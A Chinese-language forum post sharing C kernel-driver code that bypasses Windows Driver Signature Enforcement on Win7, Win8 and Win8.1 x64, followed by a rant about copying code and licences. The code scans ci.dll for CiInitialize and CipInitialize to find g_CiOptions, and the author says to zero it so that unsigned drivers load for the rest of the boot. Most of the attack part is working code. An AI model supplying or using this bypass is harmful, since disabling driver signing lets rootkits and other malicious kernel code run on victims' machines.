欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[分享]抄抄改改过win7,win8,win8.1 x64的强制签名(DSE)

[分享]抄抄改改过win7,win8,win8.1 x64的强制签名(DSE)

这个找到最早的资料是mj0011的文档:

bypass-x64-dse.googlecode.com
www.powerofcommunity.net/poc2012/mj0011.pdf

我是改进一下而已,mj0011的是ring3获取g_CiOptions然后xxoo的.我懒点,我是要么do all in ring3要么do all in ring0党,所以挪到里面xxoo完毕,然后简单注释一下.里面俩函数没提供,免得伸手党,我描述一下
GetSysModuleInfo
主要是NtQuerySystemInformation的SystemModuleInformation这个引用号的用法,各个开源ark有类似代码
KernelGetProcAddress
一样,各位去A开源ARK的吧.
测试在win7 win8 win8.1 x64通过,编译加载后本次开机后续的驱动都不校验签名了,当然这个驱动本身是要签名的.
PVOID FindCiOptions()
{
  ULONG i  = 0;  
  PVOID pCiInitialize = NULL;
  PVOID pCipInitialize = NULL;
  PVOID pg_CiOptions = NULL;
  
  SYSTEM_MODULE_INFORMATION ci_mod_info;
  
  //找到ci.dll的基地址
  if (!GetSysModuleInfo("ci.dll", &ci_mod_info)){
                KdPrint(("!!!!Get NDIS Module Info failed!\n"));
                return 0;
        }
  //获取CiInitialize在内存中的地址
  pCiInitialize = KernelGetProcAddress(ci_mod_info.ImageBase , "CiInitialize");
  if (pCiInitialize == NULL)
  {
    DbgPrint("cannot find ci!CiInitialize\n");
    return 0;
  }
  DbgPrint(" find ci!CiInitialize:%p\n",pCiInitialize);
  //在CiInitialize里查找 CipInitialize,就一个跳转:
  //jmp CipInitialize
  //..function end (0xcc or 0x90)
  //
  for (i = 0 ; i < 0x100 ; i ++)
  {
    if (*(BYTE*)((ULONG_PTR)pCiInitialize + i) == 0xE9 &&
      (*(BYTE*)((ULONG_PTR)pCiInitialize + i + 5) == 0xCC || *(BYTE*)((ULONG_PTR)pCiInitialize + 5) == 0x90)) 
    {
      break ; 
    }
  }
  if (i == 0x100)
  {
    DbgPrint("Cannot find ci!CipInitialize\n");
    return 0 ; 
  }
  //计算 CipInitialize的地址
  pCipInitialize = (PVOID)(*(LONG*)((ULONG_PTR)pCiInitialize + i + 1) + 5 + (ULONG_PTR)pCiInitialize + i );
  //is CipInitialize in ci.dll module area
  if ((ULONG_PTR)pCipInitialize <= (ULONG_PTR)ci_mod_info.ImageBase ||
    (ULONG_PTR)pCipInitialize >= (ULONG_PTR)ci_mod_info.ImageBase + ci_mod_info.ImageSize - 0x120)
  {
    DbgPrint("ci!CipInitialize illegal\n");
    return 0 ; 
  }
  DbgPrint(" find ci!pCipInitialize:%p\n",pCipInitialize);
  //find win7,win8,win8.1:
  // mov cs:XXXXX , ecx  ... g_CiOptions
  //
  for (i = 0 ; i < 0x100 ; i ++)
  {
    //这里的特征码我就简单点了,严格来说这样是不行的,得再参考一下下一个指令
    if((*(ULONG_PTR*)((ULONG_PTR)pCipInitialize + i) & 0x0000ffff) == 0x0d89)
  //  if (*(WORD*)((ULONG_PTR)((ULONG_PTR)pCipInitialize + i) & 0x0000ffff) == 0x0d89 /*&& (*(WORD*)((ULONG_PTR)( (ULONG_PTR)pCipInitialize + 6)  & 0x0000ffff) ==  0x15ff )*/)
    {
      break;
    }
  }
  if (i == 0x100)
  {
    DbgPrint("cannot find g_CiOptins in CipInitialize\n");
    return 0 ; 
  }
  //calculate address of g_CiOptions ;
  pg_CiOptions = (PVOID)(*(LONG*)((ULONG_PTR)pCipInitialize + i + 0x2) + (ULONG_PTR)pCipInitialize + i  + 0x6 );
  DbgPrint("---%p,%p\n",pg_CiOptions,i);
  if ((ULONG_PTR)pg_CiOptions <= (ULONG_PTR)ci_mod_info.ImageBase ||
    (ULONG_PTR)pg_CiOptions >= (ULONG_PTR)ci_mod_info.ImageBase + ci_mod_info.ImageSize)
  {
    DbgPrint("ci!pg_CiOptions illegal,%p,%p\n",ci_mod_info.ImageBase,ci_mod_info.ImageBase + ci_mod_info.ImageSize);
    return 0 ; 
  }
  return pg_CiOptions;
}

我只提供实现函数,这个函数执行成功后返回是g_CiOptions的地址,置零即可,默认是6(4+2).
顺便吐槽.
以前倒也一直没关注dse这个东西,因为一直都有签名,所以没什么顾虑.后来有几个大神级人物打口水仗才觉得贵圈真乱.我是不知道版权,抄代码之类怎么定义的,反正我的流程基本就是如下
1.先自己撸,能撸完就完事;
2.自己撸到难点了就google,或者搜自己的代码库,一般来说难点基本就差一个方法,谁也不会整个project就A过来了吧.
3.找到前人的解决方案了就看看人家怎么实现,理解一下,然后能改进就改进,然后就毫无悬念copy进来了.
4.至于版权,哈哈哈哈,看我心情吧.就算gpl v2也不至于我抄了一个函数就日我吧,不过也难说,gpl也没有"禁止杀人"这一条.
实际上抄代码我相信没人不抄的,抄sdk里的不算抄?
抄代码本身应该是不可耻的,应该是在抄的过程中有没收获,为了抄而抄就没什么好说的了.
抄代码不是应该纠结在是不是一比一复制过去,而应该是想想这个思路最早谁先想到的,要抄大家都是抄最先想到思路的高手,其他拿这个思路来用的人都无权站在道德的制高点指手画脚.
可惜我不是大神,不然我公开出来的东西随便大家抄,爱怎么抄怎么抄,你能赚钱我很高兴,无论阁下人品如何.倒是有些一直闻名已久抄代码出名的人打着这个幌子浪费大众时间,让我觉得很讽刺而已.
最后,没有QQ,没有论坛,没有广告,吐槽完毕

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功